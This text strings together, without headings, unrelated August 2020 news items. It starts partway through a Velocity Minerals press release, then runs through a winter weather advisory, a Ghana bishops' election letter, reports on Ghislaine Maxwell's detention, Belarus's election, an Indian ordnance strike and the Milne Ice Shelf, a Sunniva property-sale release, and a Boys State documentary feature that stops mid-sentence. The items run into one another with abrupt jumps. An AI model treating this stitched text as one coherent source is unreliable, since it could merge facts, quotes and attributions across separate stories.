https://www.globenewswire.com/NewsRoom/AttachmentNg/2662c8cd-a16a-4a30-b179-0183b69b03b6 DTC Eligibility The Companys OTC Markets listing under the symbol VLCJF has received approval from the Depository Trust Company (DTC) to make the company's common shares eligible to be electronically cleared and settled through DTC. DTC is a subsidiary of the Depository Trust and Clearing Corp., a U.S. company that manages the electronic clearing and settlement of publicly traded companies. The ability to have Velocitys shares electronically transferred between brokerages in the United States is significantly more convenient for investors and reduces the costs incurred in trading shares. With Velocitys shares now traded electronically, existing investors should benefit from greater liquidity and execution speeds, while new investors that may have been previously restricted from our stock may now have an opportunity to trade Velocitys securities. In addition to trading in the United States, Velocitys common shares continue to trade on the Toronto Venture Exchange under the symbol VLC. Stock Options The Company announces that it has granted 905,000 common share stock options (each, an "Option") to various employees and consultants of the Company and its affiliates. The Options entitle the holder to purchase shares at a price of $0.48 per share (which price represents the volume-weighted average price for the 5 preceding trading days) for a period of 5 years from the issue date. Options will vest over 3 years, beginning 6 months from the date of issue and vesting in equal tranches bi-annually thereafter. Investor Relations and Marketing Contracts Velocity has engaged Dallas-based Stonegate Capital Partner, to lead a new investor communications and outreach program. The Company has agreed to pay Stonegate US$5,000 per month for an initial term of three months, and US$2,500 per month thereafter. The agreement terminates in January 2021 unless extended by the Company. Stonegate Capital Partners, led by Mr. Scott Griffith, will work closely with Velocitys management to refine and deliver the companys message and assist with outreach to investors. Mr. Griffith joined Stonegate in 1992 and is a co-owner of the firm. Prior to joining Stonegate, Griffith was a Vice-President at Donaldson, Lufkin, & Jenrette and a Vice-President at Smith Barney. Stonegate brings a proven track record of helping companies like Velocity enhance its shareholder value by delivering the right message to the right audience, and building high quality, long-term relationships in the investment community. Stonegate will also publish a research report on the Company. Stonegate Capital Partners is a leading advisory firm founded in 1972. The Company specializes in capital markets advisory with a focus on institutional investor outreach for publicly traded companies. Additional information can be found at www.stonegateinc.com. To the Companys knowledge, Stonegate does not have any direct interest in the Company or its securities. The Company has entered into an agreement with 6ix Inc., the providers of a digital technology platform designed around the unique capital markets needs of investors, analysts and companies. Specifically, 6ix's platform gives Velocity the capabilities to host live, interactive Virtual Investment Summits hosted over the internet through video. These summits will be promoted through ad, social and email distribution channels. 6ix will initially provide services until August 22, 2020, with the option to renew for an additional 12-months. As consideration, the Company will pay a monthly fee of $6,300 (plus tax). Additional information can be found at www.6ix.com. To the Companys knowledge, 6ix does not have any direct interest in the Company or its securities. The Company has entered into an agreement with VRIFY Technology Inc., pursuant to which VRIFY will provide access to its proprietary presentation platform, which includes interactive 3D project models. VRIFYs technology communicates a companys value with presentation tools that simplify information and translate tough to digest data into compelling content. The platform allows companies to showcase project data with interactive 3D models, host global site visits of remote assets using virtual tours, and present content to devices, anytime, anywhere in the world. VRIFY will provide services until July 31, 2021 and as consideration, the company will pay a set-up fee of $10,000 as well as monthly fees of $1,200 (plus tax). Additional information can be found at www.vrify.com. To the Companys knowledge, VRIFY does not have any direct interest in the Company or its securities. Quality Assurance / Quality Control The work program at Rozino and Obichnik was designed and is supervised by Stuart A. Mills, CGeol, the Company's Vice-President Exploration, who is responsible for all aspects of the work, including the quality control/quality assurance program. On-site personnel at the project rigorously collect and track samples which are then security sealed and shipped to ALS Global laboratory in Romania. Samples used for the results described herein are prepared and analyzed by fire assay using a 30-gram charge in compliance with industry standards at ALS Romanian laboratory. A sample split of the milled material from the Obichnik drill program is shipped to ALS Irish laboratory for multi-element analysis using an inductively coupled mass spectrometer. Field duplicate samples, blanks and independent controlled reference material (standards) are added to every batch. All drill intersections in this news release are calculated using a 0.2 g/t gold trigger, a minimum 0.5 g/t gold composite, and a maximum of 3 metres consecutive waste. Qualified Person The technical content of this release has been approved for disclosure by Stuart A. Mills, BSc, MSc, CGeol, a Qualified Person as defined by NI 43-101 and the Companys Vice President Exploration. Mr. Mills is not independent of the Company. About Velocity Minerals Ltd. Velocity is a gold exploration and development company focused on southeastern Bulgaria. Velocitys strategy is to develop a low cost centralized Hub and Spoke operation whereby multiple projects within this emerging gold district produce gold concentrates for trucking to a central processing plant for production of dore. The Company envisions staged open pit mining of satellite deposits and processing in a currently operating carbon-in-leach (CIL) plant. Velocity has a 70% interest in the Tintyava prospecting licence, which includes the Rozino gold project, option agreements to earn a 70% interest in the Obichnik, Makedontsi and Sedefche gold projects, and an option agreement to earn a 100% interest in the Iglika project. Velocitys management and board includes mining industry professionals with combined experience spanning Europe, Asia, and the Americas as employees of major mining companies as well as founders and senior executives of junior to mid-tier public companies. The team's experience includes all aspects of mineral exploration, resource definition, feasibility, finance, mine construction and mine operation as well as a track record in managing publicly listed companies. On Behalf of the Board of Directors Keith Henderson President & CEO For further information, please contact: Keith Henderson Phone: +1-604-484-1233 E-mail: info@velocityminerals.com Web: www.velocityminerals.com Neither the TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this release. CAUTIONARY STATEMENT REGARDING FORWARD-LOOKING INFORMATION: This news release includes certain forward-looking statements under applicable Canadian securities legislation. Forward-looking statements include, but are not limited to, statements with respect to: future exploration and testing carried out on the Tintyava property; use of funds; and the future business and operations of Velocity. Often, but not always, forward looking statements can be identified by words such as pro forma, plans, expects, may, should, budget, scheduled, estimates, forecasts, intends, anticipates, believes, potential or variations of such words including negative variations thereof, and phrases that refer to certain actions, events or results that may, could, would, might or will occur or be taken or achieved. Forward looking information involves known and unknown risks, uncertainties and other factors which may cause the actual results, performance or achievements of the Company to differ materially from any future results, performance or achievements expressed or implied by the forward-looking information. Such risks and other factors include, among others, operating and technical difficulties in connection with mineral exploration and development and mine development activities for the Tintyava property, including the geological mapping, prospecting and sampling programs for the projects, the fact that the Companys interests in the Tintyava property is only an option and there is no guarantee that the interest, if earned, will be certain, actual results of exploration activities, including the program, estimation or realization of mineral reserves and mineral resources, the timing and amount of estimated future production, costs of production, capital expenditures, the costs and timing of the development of new deposits, the availability of a sufficient supply of water and other materials, requirements for additional capital to fund the Company's business plan, future prices of precious metals, changes in general economic conditions, changes in the financial markets and in the demand and market price for commodities, possible variations in ore grade or recovery rates, possible failures of plants, equipment or processes to operate as anticipated, accidents, labour disputes and other risks of the mining industry, delays in obtaining governmental and regulatory approvals (including of the TSX Venture Exchange), permits or financing or in the completion of development or construction activities, changes in laws, regulations and policies affecting mining operations, hedging practices, currency fluctuations, title disputes or claims limitations on insurance coverage and the timing and possible outcome of pending litigation, environmental issues and liabilities, risks related to joint venture operations, and risks related to the integration of acquisitions, as well as those factors discussed under the heading. "Risk Factors" in the Company's annual management's discussion and analysis and other filings of the Company with the Canadian Securities Authorities, copies of which can be found under the Company's profile on the SEDAR website at www.sedar.com. Readers are cautioned not to place undue reliance on forward looking information. The Company undertakes no obligation to update any of the forward-looking information in this news release or incorporated by reference herein, except as otherwise required by law. Weather Alert .An arctic cold front will move across the region on Wednesday, causing rain to change to snow Wednesday afternoon and evening. ...WINTER WEATHER ADVISORY IN EFFECT FROM 4 PM THIS AFTERNOON TO 6 AM CST THURSDAY... * WHAT...Mixed precipitation expected. Total snow accumulations of one to two inches and ice accumulations of a light glaze. * WHERE...Portions of southwest Indiana, western Kentucky and southern Illinois. * WHEN...From 4 PM Wednesday to 6 AM CST Thursday. * IMPACTS...Plan on slippery road conditions. The hazardous conditions could impact the evening commute, especially along the Ohio River. The transition from rain to a wintry mix and snow may not occur closer to the Tennessee border areas until after 7 PM CST. * ADDITIONAL DETAILS...The combination of gusty winds, falling temperatures and wind chills, and falling snow will cause hazardous travel. Freezing of residual moisture on roads from rain earlier Wednesday could also cause some icing of roadways. PRECAUTIONARY/PREPAREDNESS ACTIONS... Slow down and use caution while traveling. && With about four months to the December 7 polls, the Ghana Catholic Bishops Conference (GCBC) has called on Ghanaians to work consciously towards peace building and abhor the acrimonious politics gaining currency in the country. As a nation, let us do everything in our power to maintain the enviable reputation we have so far established as one of Africas leading countries whose democratic development is a shining beacon for others to follow, it said. It said this was an opportune moment for Ghana to celebrate its success as an emerging democracy and also to reflect on how best to confront the inevitable socio-cultural and economic challenges that could pose a threat to peaceful and credible elections in December and to the countrys democracy in general. Pastoral letter This was contained in a pastoral letter to Ghanaians on the subject, Politics for nation building and social cohesion in Ghana and signed by the President of the GCBC, Most Rev. Philip Naameh. It noted that for more than a quarter of a century, Ghana had become an island of peace and stability in West Africa, a region that had been threatened by terrorism, insurgence, armed conflict and socio-political instability. It said there had been worrying sources of tension that required the entire nation to be on guard and to grapple with, lest we suffer unhappy consequences. Election concerns It said every election year came with its own challenges and that the coronavirus disease (COVID-19) had added a special one to this years election. The letter, therefore, appealed to Ghanaians to put an end to all practices that worked against peace and embrace the noble values of politics for the common and greater good of all. It advised Ghanaians to eschew political and electoral corruption since the buying and selling of votes corrupted the nobility of politics and distorted peoples power and will under the influence of money. On vigilantism and electoral violence, the letter said if those twin evils were not exorcised from the body politic, it would plague the 2020 elections, in spite of the enactment of legislations, endorsement and signing of an inter-party code of conduct and a roadmap to peace Politics of insults It called on media practitioners, particularly, to uphold the highest journalistic standards, ethics and values in their reportage of the electoral processes and activities. It said although journalism was also an indispensable component of the noble vocation of politics, the increasing use of virtual space and electronic medium of communication had also heightened the threat of widespread use of fake news, insulting language as well as dirty propaganda in election campaigns and in political discourse, stressing that This must stop. It is not civilised. We, therefore, call on all political actors and communicators to remain civil when canvassing for their respective political parties and personalities, it stated. Ethnocentrism The pastoral letter urged all political actors to avoid the negative and highly divisive politics of ethnocentrism, mud-slinging and attacks on ethnic groups and personalities. Let politics focus on issues that serve the greater good, that will bring unity and peace, development and dignity to all our fellow citizens and even the stranger living in our midst, it said. Institutions It said although ensuring free, fair, peaceful and transparent elections, even in this era of the COVID-19 pandemic, was the collective responsibility of all Ghanaians, some institutions of state bore greater responsibility. It said while the Presidency held in its hands the peoples trust and ensured that citizens lived in conditions of adequate peace and security, it must also ensure a level playing field for all contestants, political parties and candidates in the December 7 polls. The letter urged the Electoral Commission (EC) to ensure an electoral process that was free, fair and transparent for all political parties and candidates in order to prevent people who might feel unfairly treated from resorting to violence. The Catholic Bishops tasked the National Election Security Task Force (NESTF) to ensure that the nation went to the 2020 elections and came out of it in peace and tranquility. The political parties should ensure the peaceful comportment of their members and supporters, stop vigilantism, the politics of insults, vote buying and selling and support their candidates, both women and men, to win parliamentary seats, it said. Stakeholders The letter entreated faith-based organisations (FBOs) and the clergy to desist from openly taking part in partisan politics, from preaching predictions of election results, and from pronouncing prophecies of electoral results, the death of public personalities, etc. It also appealed to civil society organisations (CSOs) to intensify voter and civic education as well as help monitor the election processes and conduct. The pastoral letter also wants the CSOs to call attention to errant behaviours and anything that would undermine the noble values of peace, tranquility and political development of the nation. Finally, we appeal to all our fellow citizens to uphold the highest and noblest of ethics and good conduct, and, of course, to observe religiously all the COVID-19 hygienic protocols, the letter said, adding Please, let us all stay safe to serve God and country. Source: Graphic.com.gh Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video Maxwell, accused accomplice of Jeffery Epstein, claims she is being held alone and constantly checked in detention. Lawyers for Ghislaine Maxwell, the accused accomplice in Jeffery Epsteins child sex trafficking, claimed on Monday that she is being subjected to 24-hour surveillance and body scans while in pretrial detention in a New York correctional facility, conditions they say are uniquely onerous. Epstein, a convicted sex offender, was found dead in the summer of 2019 in the Metropolitan Detention Center (MDC), the same New York federal jail where Maxwell is detained. Epsteins death was ruled a suicide. Maxwell, Epsteins longtime confidant, has been at the MDC since early July, after she was apprehended on a large New Hampshire property which she reportedly bought with cash. Epstein had pleaded not guilty to charges of sex trafficking involving dozens of underage girls, some as young as 14, and faced up to 45 years in prison if convicted. The alleged offences took place at Epsteins homes in Manhattan, New York and in Palm Beach, Florida between 2002 and 2005. Maxwell is accused of grooming the girls for abuse. She has denied the charges. Epsteins sudden death and connections to powerful people spawned conspiracy theories about whether he actually committed suicide. Flags fly in front of the Metropolitan Detention Center where Maxwell was transferred in early July [Mark Lennihan/AP Photo] Maxwells lawyers have requested that the New York Bureau of Prisons (BOP) take her out of solitary confinement and release her into the general prison population. It has become apparent that the BOPs treatment of Ms. Maxwell is a reaction to the circumstances surrounding the pretrial detention and death of Mr. Epstein, lawyers said in court documents (PDF) filed on August 11. The filing claims Maxwells cell undergoes searches multiple times a day and she has been forced to undergo numerous body scans. Maxwell is being treated worse than other similarly situated pretrial detainees, which significantly impacts her ability to prepare a defense and be ready for trial on the schedule set by the Court, the filing continued. The New York BOP did not immediately respond to Al Jazeeras request for comment, but does not typically comment on the conditions in which detainees are placed. The filing also asks the judge to make public the identities of the three accusers in the case, so that Maxwell and her defence counsel can investigate the charges against her which took place on unspecified dates roughly 25 years ago in multiple locations. Epsteins alleged abuse in which Maxwell is accused of participating took place in New York, Florida, New Mexico, and the United Kingdon, according to the court filing. US District Judge Alison Nathan in Manhattan and the team responsible for Maxwells prosecution have yet to respond to the filing. Former Minister for Finance and Economic Planning under the erstwhile Mahama administration, Seth Terkper, has advised the opposition National Democratic Congress (NDC) to start strategizing on how to deal with the coronavirus pandemic. The NDC led by its flagbearer, John Mahama is seeking to take over the reins of government from the ruling New Patriotic Party (NPP). The Akufo-Addo led administration has been spearheading the fight against Covid-19 since the country recorded its first two cases and according to them, they have shown commitment to winning the fight so far; critics have a different opinion. Seth Terkper speaking in a one-on-one interview on Neat FM's 'Me Man Nti' programme said: " . . the NDC will be making a terrible mistake downplaying the effects of COVID because we dont know how long it will last like the two and a half years of dumsor; we wouldnt know and its going to be severer; so we better come in prepared as an opposition". Listen to him in the video below The opposition National Democratic Congress (NDC) about 4 months ago inaugurated an eleven-member COVID-19 response team to collaborate with the Government in the fight against the pandemic.The team is dominated by medical experts from the party's camp."This team shall lead the NDCs public advocacy and sensitization on the COVID-19 and collaborate with government in combating the pandemic," official statement said.The move is in line with the NDC flag bearer, John Mahama's call on party members to join the Government in the move to combat the spread of the disease.1. Mr. Alex Segbefia- Former Minister for Health.2. Professor Margaret Kweku- Public Health Expert and Former Dean of School of Public Health, UHAS.3. Dr. Vida Yarkong- Interdisciplinary Medicine Expert.4. Dr. Jehu Appiah- Senior Medical Consultant and former General Secretary of the Ghana Medical Association.5. Mr. Prosper Bani- Former Minister for the Interior and former Head of UNDPs Crisis Prevention and Recovery Team for Africa.6. Hon. Kwabena Mintah Akando- Ranking Member for Parliamentary Committee on Health & MP for Juaboso7. Nana Kofi Quakyi- Specialist in Health Economics and Assistant Professor in Public Health.8. Hon. Dr. Ezanator Rawlings- Medical Doctor and MP for Klottey Korle9. Mrs. Mawuena Trebarh- Communications Specialist10. Dr. Jonas Asamoah- Public Health Expert, Hawa Memorial Hospital, Osiem.11. Dr. Prosper Akanbong- Physician Consultant and former CEO, Tamale Teaching Hospital. Source: Rebecca Addo Tetteh/Peacefmonline.com/Ghana Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video A rogue Afghan soldier who shot dead three Australians is one step closer to being released after Afghanistans President Ashraf Ghani on Monday issued a decree on the final batch of prisoners to be released under a peace agreement with the Taliban. The former sergeant in the Afghan National Army, known as Hekmatullah, could be released in the coming days. Hekmatullah shot dead three Australian soldiers in Afghanistan. Australian government sources confirmed Mr Ghani had signed the decree to release the final batch of about 400 prisoners considered "extreme cases", who include Hekmatullah. But government sources insisted discussions were still ongoing with both the United States and Afghan governments and there was still a chance Hekmatullah could remain in prison. As Belarus's Strongman Seeks To Extend His Embattled Rule, Moscow Watches Warily By Matthew Luxmoore August 10, 2020 MOSCOW -- As election officials in Belarus claimed a landslide victory for incumbent Alyaksandr Lukashenka, and his main challenger rejected that result as rigged, Russian President Vladimir Putin sent his counterpart a congratulatory note urging continued cooperation that "fulfills the vital interests of brotherly nations." Putin said nothing of the protests that unfolded across Belarus the night before, fueled by anger over evidence of vote-rigging and official numbers that flew in the face of an unprecedented show of support for opposition candidate Svyatlana Tsikhanouskaya in the weeks leading up to the presidential election. Nor did he mention the violent crackdown that followed. Belarus's southern neighbor, Ukraine, cited the unrest and called for "dialogue," and the European Union denounced the police violence that left protesters bloodied. But Moscow was relatively tight-lipped, apparently waiting to see what happens in the unfolding standoff between an authoritarian leader it has helped prop up for a quarter-century and the growing number of citizens opposed to his continued rule. "Moscow, like pretty much everyone else, assumed that Lukashenka still had a good number of years in him," Mark Galeotti, an expert on Russia's security services at the Royal United Services Institute in London, told RFE/RL. "But this puts Moscow in a difficult situation. They're not making a big deal of it, because they're having to take stock." Throughout Lukashenka's 26 years in power, Belarus's economic stability has been predicated on billions of dollars in de facto Russian subsidies, including a steady supply of cheap crude oil that Minsk has purchased at a discount and refined for onward export as petroleum products to Europe. But pressure has grown on Lukashenka to offer more in return. In 2018, Moscow began raising energy prices to eventually match the market rate for exports, cutting off a lifeline that had propped up Belarus's economy and sending it into a precipitous decline that has taken Lukashenka's approval ratings with it -- a phenomenon compounded by public anger over what many citizens see as his inadequate response to the coronavirus. Even before the current protest wave, the strongman president was under serious pressure from Moscow to integrate with Russia under a union state that has existed largely on paper since the 1990s, in exchange for compensation for the crippling energy price hikes. Putin's congratulatory note called for closer integration in the union state and increased cooperation under the aegis of the Commonwealth of Independent States, the Eurasian Economic Union, and the Collective Security Treaty Organization -- Moscow-dominated regional political, economic, and military groupings -- a scenario that a politically weakened Lukashenka may find increasingly hard to counter. Observers said the terse telegram read more like a to-do list on closer ties with Russia than a piece of warm praise. "Putin has not so much congratulated Lukashenko as presented him [with] terms of re-engagement," Dmitri Trenin, director of the Carnegie Moscow Center, wrote on Twitter. Testing The Waters Tsikhanouskaya's supporters have mocked the official figures that gave her less than 10 percent of the vote share, and planned more protests across Belarus. But Moscow may be watching and waiting, in part to see how Lukashenka and the security establishment that backs him will respond. Galeotti pointed to active contact between the security services of Russia and Belarus, with Moscow carefully monitoring the mood in Minsk and particularly the potential for an elite defection -- a situation in which armed representatives of the state might side with the protesters. "I imagine at the moment [Moscow] is very carefully trying to test out the waters and get a sense of whether the security forces are going to stay loyal," he said. "Because that's going to be the absolutely crucial issue." For the Kremlin, a familiar leader -- especially one embattled at home -- may be the lesser evil to a reformist replacement president wary of Russia's embrace and prone to integration with the West, even if Tsikhanouskaya and the opposition leaders allied with her are not anti-Moscow. Meanwhile, Belarus's geographic position, sandwiched between Russia to the east and the EU and NATO to the west, could end up benefiting Lukashenka if he fails to gain real support -- or face a major challenge -- from either. "From his position atop a geopolitical fault line," political analyst Maksim Samorukov, a fellow at the Carnegie Moscow Center, wrote in a commentary on August 10, Lukashenka "will weather every storm as long as Russia and the West mistrust him less than they do each other." Source: https://www.rferl.org/a/as-belarus-strongman -seeks-to-extend-his-embattled-rule- moscow-watches-warily/30776574.html Copyright (c) 2020. RFE/RL, Inc. Reprinted with the permission of Radio Free Europe/Radio Liberty, 1201 Connecticut Ave., N.W. Washington DC 20036. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address Union defence minister Rajnath Singhs August 9 announcement that India will no longer import 101 types of weapons and equipment to boost the Make in India programme has been welcomed by ordnance factory workers unions although they are all set to strike work from October. More than 80,000 civilian employees of Indias 41 ordnance factories will go on indefinite strike from October 12 in protest against the Centres decision to corporatise weapon and defence equipment manufacturing units run by the Ordnance Factory Board (OFB) of the Union defence ministry. The announcement was made on August 4 by the three national trade unions, including the Bharatiya Pratiraksha Mazdoor Sangh (BPMS) which is affiliated to the Rashtriya Swayamsevak Sangh, the ideological parent of the Bharatiya Janata Party. The other two unions, the All India Defence Employees Federation (AIDEF) and the Indian National Defence Workers Federation (INDWF) are affiliated to the Communist Party of India and the Congress respectively. Although they have welcomed the import ban, BPMS and AIDEF have demanded exclusive contract for production of certain weapons at OFB plants. We welcome the import embargo and creation of a separate budget of about Rs. 52,000 crore for domestic capital procurement in the current fiscal. However, out of these 101 items, those already being manufactured by OFB and the ones it is capable of producing should be earmarked for OFB under the provision of Public Procurement (Preference to Make in India) Order, 2017, Mukesh Singh, general secretary, BPMS, told HT. OFBs manufacturing capacity is mentioned in the fourth report of Parliamentary standing committee on defence. OFB should also be given a 10 years roll on plan. If the government withdraws its decision to corporatise OFB plants we will withdraw the strike, Singh added. More than 10 items in the embargo list can be straight away manufactured by OFB. But will the government give us the contract? said C Srikumar, general secretary, AIDEF. We feel that the government will encourage private companies to tie up with foreign arms manufacturers to bring in foreign direct investment. Complete knocked down and semi-knocked down kits may be brought from abroad, assembled with screw driver technology and tagged as Made in India. That should not happen, added Srikumar. Even the UPA government was keen on encouraging indigenous production. We welcome what is happening. However, we are not going back on our decision to start indefinite strike from October 12, said R Srinivasan, general secretary, INDWF. The OFB headquarters in Kolkata said that as part of the Atma Nirbhar Week programme, three facilities were dedicated to the nation by Rajnath Singh through video conference on Monday. These are the manufacturing facility for T-90 tank sighting devices at Dehradun, the automated assembly line for production of Pinaka rockets at Chandrapur and assembly and testing facility of the 12.7mm M2 NATO standard machine gun at Tiruchirappalli. As part of the same programme, OFB chairman Hari Mohan on Tuesday presided over the announcement of new products such as the electronic point detonation fuse for 155mm artillery ammunition at the Ambernath factory, 155mm red phosphorus shell made by the Dehu Road plant and extreme cold weather clothing system developed by the Shahjahanpur factory. SHARE THIS ARTICLE ON ABOUT THE AUTHOR Tanmay Chatterjee Tanmay Chatterjee has spent more than two decades covering regional and national politics, internal security, intelligence, defence and corruption. He also plans and edits special features on subjects ranging from elections to festivals. ...view detail The Associated Press Much of Canadas remaining intact ice shelf has broken apart into hulking iceberg islands thanks to a hot summer and global warming, scientists said. Canadas 4,000-year-old Milne Ice Shelf on the northwestern edge of Ellesmere Island had been the countrys last intact ice shelf until the end of July when ice analyst Adrienne White of the Canadian Ice Service noticed that satellite photos showed that about 43 percent of it had broken off. She said it happened around 30 or 31 July. Two giant icebergs formed along with lots of smaller ones, and they have already started drifting away, White said. The biggest is nearly the size of Manhattan 55 square kilometres and 11.5 kilometres long. They are 70 to 80 meters thick. This is a huge, huge block of ice, White said. If one of these is moving toward an oil rig, theres nothing you can really do aside from move your oil rig. The 187 square kilometres undulating white ice shelf of ridges and troughs dotted with blue meltwater had been larger than the District of Columbia but now is down to 106 square kilometres. Temperatures from May to early August in the region have been five degrees Celsius warmer than the 1980 to 2010 average, University of Ottawa glaciology professor Luke Copland said. This is on top of an Arctic that already had been warming much faster than the rest of the globe, with this region warming even faster. Without a doubt, its climate change, Copland said, noting the ice shelf is melting from both hotter air above and warmer water below. The Milne was very special, he added. Its an amazingly pretty location. Ice shelves are hundreds to thousands of years old, thicker than long-term sea ice, but not as big and old as glaciers, Copland said. Canada used to have a large continuous ice shelf across the northern coast of Ellesmere Island in the Canadian territory of Nunavut, but it has been breaking apart over the last decades because of man-made global warming, White said. By 2005 it was down to six remaining ice shelves but the Milne was really the last complete ice shelf, she said. There arent very many ice shelves around the Arctic anymore, Copland said. It seems weve lost pretty much all of them from northern Greenland and the Russian Arctic. There may be a few in a few protected fjords. VANCOUVER, BC, Aug. 11, 2020 /PRNewswire/ -- Sunniva Inc. ("Sunniva", the "Company", "we", or "our") (CSE:SNN,OTCQB:SNNVF) is pleased to announce that its wholly-owned subsidiary 1167025 B.C. Ltd. has closed the previously reported sale of its OK Falls Property (the "Property") to an unrelated British Columbia investment company (the "Buyer") for gross proceeds of CA$6,800,000. Following discharge of the existing mortgage on the Property and other anticipated closing costs, including legal fees and a 3% commission payable to the agents for the Buyer, net cash proceeds at closing to Sunniva are expected to be approximately CA$3.2 million. Sunniva will retain ownership of 1167025 B.C. Ltd. and various equipment and assets currently on site. "Finalizing the sale of the land in Okanagan Falls effectively completes the disposition of our Canadian assets and marks a milestone in our strategy to focus solely to the U.S. market and the development of our California assets," said Dr. Anthony Holler, CEO of Sunniva Inc. "While the closing of the sale of the OK Falls site is good news, Sunniva continues to face significant liquidity issues and significant challenges in California with respect of the completion of the Cathedral City Glasshouse and the dispute of the lease of the Glasshouse whereby the owner and landlord is seeking to terminate the lease," continued Holler. "The lease on the Glasshouse is Sunniva's primary asset and we intend to vigorously defend our position through all available legal avenues. As part of this plan, Sunniva will preserve its available funds so that it can continue to actively seek a transaction or transactions to deal with its liquidity issues and to facilitate the completion of the Glasshouse and pursue its rights under the lease through the current arbitration case being heard through JAMS in California." JAMS is the world's largest private alternative dispute resolution provider. For more information about the Company please visit: www.sunniva.com The Canadian Securities Exchange does not accept responsibility for the adequacy or accuracy of this release. Cautionary Note Regarding Forward-Looking Information or Statements This press release contains forward-looking information or statements. All statements or information that are not historical facts, including without limitation, statements regarding future estimates, plans, programs, forecasts, projections, objectives, assumptions, expectations or beliefs of future performance, statements regarding the estimated net cash proceeds and the uncertainty regarding the future outcome of the Arbitration process, are "forward-looking information or statements". Forward-looking information or statements can be identified by the use of words such as "plans", "planned", "expects" or "does not expect", "is expected", "estimates", "intends", "anticipates" or "does not anticipate", or "believes", or variations of such words and phrases or statements that certain actions, events or results "may", "could", "would", "might" or "will" be taken, occur or be achieved. With respect to forward-looking information and statements contained herein, Sunniva has made numerous assumptions including, among other things, assumptions about general business and economic conditions. Such forward-looking statements are based on assumptions and involve known and unknown risks, uncertainties and other factors that may cause actual results, events or developments to be materially different from any future results, events or developments expressed or implied by such forward-looking information or statements. Such risks and uncertainties include, among others, the risk factors included in Sunniva's continuous disclosure documents available on www.sedar.com and risks and uncertainties arising from the adverse impact of the COVID-19 (novel coronavirus) pandemic on the business, operations, personnel and results of Sunniva. These factors should be considered carefully, and readers are cautioned not to place undue reliance on such forward-looking information or statements. Although Sunniva has attempted to identify important risk factors that could cause actual actions, events or results to differ materially from those described in forward-looking information or statements, there may be other risk factors that cause actions, events or results to differ from those anticipated, estimated or intended. There can be no assurance that forward-looking statements will prove to be accurate, as actual results and future events could differ materially from those anticipated in forward-looking information or statements. Sunniva assumes no obligation to update any forward-looking information or statements, even if new information becomes available as a result of future events, new information or for any other reason except as required by law. Company Contacts: Sunniva Inc. Dr. Anthony Holler Chairman and Chief Executive Officer Phone: (866) 786-6482 Sunniva Investor Relations: Rob Knowles VP Corporate Development Phone: (587) 316-4319 Email: [email protected] SOURCE Sunniva Inc. Related Links http://www.sunniva.com Ben Feinstein learned a lot when he converged on the Texas State Capitol two years ago with around 1,000 other teenage boys to start their own government. For one thing, he saw that personal attacks may win elections but they wont improve democracy. This from a Reagan-loving conservative who says the current president ran a campaign on tricks and derogatory messaging and attacks. Feinstein, who attended Keystone School in San Antonio, knows from experience. He said he employed such tactics in Austin during Texas Boys State, the American Legions annual government instruction program. I think long-term that kind of campaigning that I did is not really good for anybody or for the system or society as a whole, he said. Thats just one of the illuminating takeaways from Boys State, an award-winning documentary about the summer leadership program. It debuts Friday on Apple TV+. On ExpressNews.com: San Antonio Netflix star Paulina Chavez returns with more Ashley Garcia adventures Directed by Jesse Moss and Amanda McBaine, Boys State follows the weeklong summer exercise where top high school students build their own government from the ground up. The diverse group of participants includes Feinstein, a right-leaning politics junkie who chairs the fictional Federalist Party, and Steven Garza, a progressive from Houston who rises above a sea of conservatives to become the rival Nationalist Partys candidate for governor, the top office of Texas Boys State. Along the way, Garza appeals to both parties, declaring to his high school constituents, We need to show what we can do if we talk together and we work together. Meanwhile, Feinstein works to exploit the competition so shrewdly that even Garzas own party chairman, Rene Otero, refers to him in the film as a fantastic politician. But I dont think a fantastic politician is a compliment either, Otero added. Feinstein would probably agree. He says in the film that hes not a rah-rah kind of guy, though he does exude the unabashed confidence of someone who has overcome personal challenges. Feinstein lost his legs to meningitis at age 3 and walks with prostheses. Feinstein said hes grown from the Boys State experience, which he called a fusion of politics and morality that highlights core values his peers share beyond the ballot box. The point of the program isnt the election, he said. The election is a means to an end. The overriding theme is (regardless of political differences) were all still Americans and were all still in this together at the end of the day. On ExpressNews.com: San Antonio actor Jesse Borrego talks about Phoenix, Oregon, an unlikely No. 1 movie in an unusual time Shot in 2018, Boys State reflects the political divisions that still fracture the country. It also spotlights a new generation of young politicos who seek common ground without compromising their ideals, whether getting there means taking the high road or the low road. Its a really interesting and fraught moment to bring this film into the world, Moss said. But we think its a perfect moment to engage these questions about civil discourse. And its not going to be comfortable, and its not going to be easy, McBaine added. I think you need to be comfortable with the discomfort. Critics sure like what they see. Earlier this year, Boys State won the U.S. Documentary Competition Grand Jury Prize at the Sundance Film Festival. The film also holds a 93 percent fresh rating at the review aggregator website Rotten Tomatoes. Started in 1935, Boys State programs now run in every state except Hawaii, with famous alumni that include Bill Clinton, Neil Armstrong and Michael Jordan. Girls State programs are run by the American Legion Auxiliary. On ExpressNews.com: Bill & Ted star Alex Winter talks about his new HBO documentary Showbiz Kids Boys State has its share of boys will be boys displays. At one point, a teen proposes legislation to ban Prius drivers, while another seeks to pronounce the letter W as dubya after the nickname for former president George W. Bush. But the movie also has its poignant coming-of-age moments. After saying hes pro-life when hes really pro-choice, one governor hopeful realizes that (saying) what you gotta say in an attempt to win isnt much of a victory. And the losing candidate for governor gets such tearful praise from a fellow Boys State teen that even political cynics are likely to have a lump in their throat. They really do come to know themselves in ways that are a bridge from youthful impulse to a kind of adult responsibility and reflection, Moss said. McBaine said he was surprised by a lot of what he saw: The range of masculinity and the depth of some of those relationships. And the amount of listening, the amount of empathy and vulnerability. And tears. It was a much more emotional week than I expected. Its that sense of brotherhood that resonated most with Feinstein. Politics aside, its a bunch of 17-year-old boys at a summer camp, he said. Its hot, its sweaty. Youre getting four to five hours of sleep a night. I was flying by the seat of my pants on most of it. Theres nothing that can quite capture the feeling of bonding with everyone else there, working really closely with your leadership and your team. Feinstein, who had been attending the University of North Carolina at Chapel Hill, plans to transfer to Southern Methodist University in Dallas, where hell double major in international relations and history with a minor in 